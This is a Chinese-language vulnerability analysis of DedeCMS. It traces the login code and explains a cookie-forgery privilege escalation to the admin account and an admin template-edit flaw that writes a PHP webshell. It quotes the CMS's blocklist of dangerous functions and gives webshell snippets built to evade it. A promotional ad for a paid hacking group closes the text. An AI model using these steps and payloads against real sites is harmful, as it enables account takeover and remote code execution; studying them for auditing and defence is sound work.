织梦CMS源码获取地址https://www.dedecms.com/download,可以看官方手册用小皮部署环境
拿到代码先看网站首页入口点index.php
<?php
/**
* @version $Id: index.php 1 9:23 2010-11-11 tianya $
* @package DedeCMS.Site
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
if(!file_exists(dirname(__FILE__).'/data/common.inc.php'))
{
header('Location:install/index.php');
exit();
}
//自动生成HTML版
if(isset($_GET['upcache']) || !file_exists('index.html'))
{
require_once (dirname(__FILE__) . "/include/common.inc.php");
require_once DEDEINC."/arc.partview.class.php";
$GLOBALS['_arclistEnv'] = 'index';
$row = $dsql->GetOne("Select * From `#@__homepageset`");
$row['templet'] = MfTemplet($row['templet']);
$pv = new PartView();
$pv->SetTemplet($cfg_basedir . $cfg_templets_dir . "/" . $row['templet']);
$row['showmod'] = isset($row['showmod'])? $row['showmod'] : 0;
if ($row['showmod'] == 1)
{
$pv->SaveToHtml(dirname(__FILE__).'/index.html');
include(dirname(__FILE__).'/index.html');
exit();
} else {
$pv->Display();
exit();
}
}
else
{
header('HTTP/1.1 301 Moved Permanently');
header('Location:index.html');
}
?>
可以看到先对路径下是否存在/data/common.inc.php
进行判断,如果不存在先跳转到安装流程;接着在没有登录缓存和自定义首页的情况下系统会进行数据库查询和获取模板等等进行前端渲染生成HTML;这些重要方法和配置引入都来自/include/common.inc.php
;
例如对不同模块路径的划分方便应用去调用
规定文件存放路径
以及导入数据库类和确立MVC框架的使用
再看DedeCMS下前台的会员系统和后台的登录系统的入口点
<?php
/**
* @version $Id: index.php 1 8:24 2010年7月9日Z tianya $
* @package DedeCMS.Member
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
require_once(dirname(__FILE__)."/config.php");
$uid=empty($uid)? "" : RemoveXSS($uid);
if(empty($action)) $action = '';
if(empty($aid)) $aid = '';
$menutype = 'mydede';
if ( preg_match("#PHP (.*) Development Server#",$_SERVER['SERVER_SOFTWARE']) )
{
if ( $_SERVER['REQUEST_URI'] == dirname($_SERVER['SCRIPT_NAME']) )
{
header('HTTP/1.1 301 Moved Permanently');
header('Location:'.$_SERVER['REQUEST_URI'].'/');
}
}
......
<?php
/**
* 管理后台首页
*
* @version $Id: index.php 1 11:06 2010年7月13日Z tianya $
* @package DedeCMS.Administrator
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
if ( preg_match("#PHP (.*) Development Server#",$_SERVER['SERVER_SOFTWARE']) )
{
if ( $_SERVER['REQUEST_URI'] == dirname($_SERVER['SCRIPT_NAME']) )
{
header('HTTP/1.1 301 Moved Permanently');
header('Location:'.$_SERVER['REQUEST_URI'].'/');
}
}
require_once(dirname(__FILE__)."/config.php");
require_once(DEDEINC.'/dedetag.class.php');
$defaultIcoFile = DEDEDATA.'/admin/quickmenu.txt';
$myIcoFile = DEDEDATA.'/admin/quickmenu-'.$cuserLogin->getUserID().'.txt';
if(!file_exists($myIcoFile)) $myIcoFile = $defaultIcoFile;
require(DEDEADMIN.'/inc/inc_menu_map.php');
include(DEDEADMIN.'/templets/index2.htm');
exit();
各自有导入模块下的config.php
,而每个config.php又会导入前面说到的/include/common.inc.php
可以看出,各个模块功能的实现都要调用require_once
来引⼊/data/common.inc.php
⽂件,而两个登录系统还要加入各自的config.php
。
尝试在没有登录授权的情况下直接访问会员模块http://192.168.72.128/member/buy.php 程序先跟踪进config.php
在config.php中构造一个方法对用户是否登录进行判断,调用方法前先生成一个MemberLogin对象
MemberLogin的构造方法在/include/memberlogin.class.php中
function __construct($kptime = -1, $cache=FALSE)
{
global $dsql;
if($kptime==-1){
$this->M_KeepTime = 3600 * 24 * 7;
}else{
$this->M_KeepTime = $kptime;
}
$formcache = FALSE;
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
$this->M_LoginTime = GetCookie("DedeLoginTime");
$this->fields = array();
$this->isAdmin = FALSE;
if(empty($this->M_ID))
{
$this->ResetUser();
}else{
$this->M_ID = intval($this->M_ID);
if ($cache)
{
$this->fields = GetCache($this->memberCache, $this->M_ID);
if( empty($this->fields) )
{
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
} else {
$formcache = TRUE;
}
} else {
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
}
if(is_array($this->fields)){
#api{{
if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
{
if($data = uc_get_user($this->fields['userid']))
{
if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
{
$this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
$dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
}
}
}
#/aip}}
//间隔一小时更新一次用户登录时间
if(time() - $this->M_LoginTime > 3600)
{
$dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
}
$this->M_LoginID = $this->fields['userid'];
$this->M_MbType = $this->fields['mtype'];
$this->M_Money = $this->fields['money'];
$this->M_UserName = FormatUsername($this->fields['uname']);
$this->M_Scores = $this->fields['scores'];
$this->M_Face = $this->fields['face'];
$this->M_Rank = $this->fields['rank'];
$this->M_Spacesta = $this->fields['spacesta'];
$sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
$scrow = $dsql->GetOne($sql);
$this->fields['honor'] = $scrow['titles'];
$this->M_Honor = $this->fields['honor'];
if($this->fields['matt']==10) $this->isAdmin = TRUE;
$this->M_UpTime = $this->fields['uptime'];
$this->M_ExpTime = $this->fields['exptime'];
$this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
if($this->M_Rank>10 && $this->M_UpTime>0){
$this->M_HasDay = $this->Judgemember();
}
if( !$formcache )
{
SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
}
}else{
$this->ResetUser();
}
}
}
由于没有登录cookie中没有内容所以获取的ID都是为空
返回到上面的config.php会调用memberlogin.class.php中的IsLogin方法
如果这里这里返回FALSE那么下面的CheckRank方法就会进行重定向到login.php中
而在有授权情况下由$this->M_ID = $this->GetNum(GetCookie("DedeUserID")
来到cookie校验,这里的加密key签名来自cookie,如果比较成功返回M_ID,其中$cfg_cookie_encode作为全局变量在程序安装时已经被写死
function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}
这里的intval是一个很有意思的地方后面会提到
接着调用数据库通过M_ID查询到更多信息
获取到的信息存储到fields中
由于M_ID>0, $myurl能正常被定义,页面也能正常访问
适用于2021以下版本
通过上文的分析我们可以知道会员模块的身份认证使用的是客户端session,在Cookie中写入用户ID并且附上ID__ckMd5
用做签名,由于我们能控制key,因此原理上可以伪造任意用户登录
在/member/index.php
中会接收uid和action参数,会验证Cookie中的用户ID与uid(即用户名)并确定用户权限,当uid存在值时就会进入这个代码逻辑,当cookie中的last_vid
中不存在值为空时,就会将uid值赋予过去,$last_vid = $uid;
,然后执行PutCookie存储,因此控制了$uid也就控制了那个作为签名校验的md5值
if($action == '')
{
include_once(DEDEINC."/channelunit.func.php");
$dpl = new DedeTemplate();
$tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";
//更新最近访客记录及站点统计记录
$vtime = time();
$last_vtime = GetCookie('last_vtime');
$last_vid = GetCookie('last_vid'); <----
if(empty($last_vtime))
{
$last_vtime = 0;
}
if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.','))
{
if($last_vid!='')
{
$last_vids = explode(',',$last_vid);
$i = 0;
$last_vid = $uid;
foreach($last_vids as $lsid)
{
if($i>10)
{
break;
}
else if($lsid != $uid)
{
$i++;
$last_vid .= ','.$last_vid;
}
}
}
else
{
$last_vid = $uid; <----
}
PutCookie('last_vtime', $vtime, 3600*24, '/');
PutCookie('last_vid', $last_vid, 3600*24, '/'); <----
因此可以注册一名000001账户,将cookie中DedeUserID
值改为last_vid
的(000001),DedeUserID__ckMd5
值改为last_vid__ckMd5
如此一来就能绕过前面校验提到的getcookie检验,因此此时后端存储的校验key已经变成我们的uid和他的md5值
再次访问xxx/member/index.php
再通过intval函数获取变量的整数值
可以看到原本的字符串00001变成了int类型的1,此时对于M_ID来说已经完成身份替换
由于查询数据库是根据M_ID来进行的,所以下面返回的信息也变成admin的信息
最终实现越权成功
根据公开的资料漏洞点出现在后台目录下的templets_one_edit.php
$aid = isset($aid) && is_numeric($aid) ? $aid : 0; //检测变量是否为合法的数字格式
if($dopost=="saveedit") //判断是dopost变量是否为saveedit
{
include_once(DEDEINC."/arc.sgpage.class.php");
$uptime = time();
$body = str_replace('"', '\\"', $body);
$filename = preg_replace("#^\/#", "", $nfilename);
//如果更改了文件名,删除旧文件
if($oldfilename!=$filename)
{
$oldfilename = $cfg_basedir.$cfg_cmspath."/".$oldfilename;
if(is_file($oldfilename))
{
unlink($oldfilename);
}
}
if($likeidsel!=$oldlikeid )
{
$likeid = $likeidsel;
}
$inQuery = "
UPDATE `#@__sgpage` SET
title='$title',
keywords='$keywords',
description='$description',
likeid='$likeid',
ismake='$ismake',
filename='$filename',
template='$template',
uptime='$uptime',
body='$body'
WHERE aid='$aid'; ";
if(!$dsql->ExecuteNoneQuery($inQuery))
{
ShowMsg("更新页面数据时失败,请检查长相是否有问题!","-1");
exit();
}
$sg = new sgpage($aid);
$sg->SaveToHtml();
ShowMsg("成功修改一个页面!", "templets_one.php");
exit();
}
在核心/单页文档管理 填写内容如下
调试跟踪可以发现这里对填入的文件名只是进行了一个非常简单的替换,对于后缀根本没有进行检测因此可以轻松写入一个php在web的可访问路径下(生成在/a目录下)
最终会将模板内容注入到新的页面中(此时就是php文件)
UPDATE `dede_sgpage` SET
title='we',
keywords='we',
description='',
likeid='default',
ismake='0',
filename='a/1.php',
template='{style}/1.htm',
uptime='1678332617',
body='<p><br></p>'
WHERE aid='2';
并返回正常页面
因此只需要保证我们自定义的模板能被正常调用就可以达到上传一个webshell的作用
这里需要注意的是我们新建的模板内容会经过文件管理器检测,也就是dede/tpl.php中
// 不允许这些字符
$content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}
很明显绝大多数的方法是名字直接被绑死过不了的,这相当于一个webshell沙箱了
当然网上许多师傅也分享了免杀的思路,比如魔术方法的使用
__FUNCTION__的利用,将webshell的名字改为base64编码后的内容
<?phpfunction assert2(){
substr(__FUNCTION__,0,6)($_GET[1]);
}
assert2();__CLASS__的利用
<?phpclass assert2{
static function demo(){
substr(__CLASS__,0,6)($_GET[1]);
}
}
assert2::demo();_NAMESPACE__的利用
<?phpnamespace assert2;
substr(__NAMESPACE__,0,6)($_GET[1]);
或者异或加密,这个对于过上面绑死方法名还是很有用的,这里就直接用T00ls上师傅分享的异或免杀来构造eval和$_GET
之后再按照之前的步骤将模板注入到新的php中,实际效果如下
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读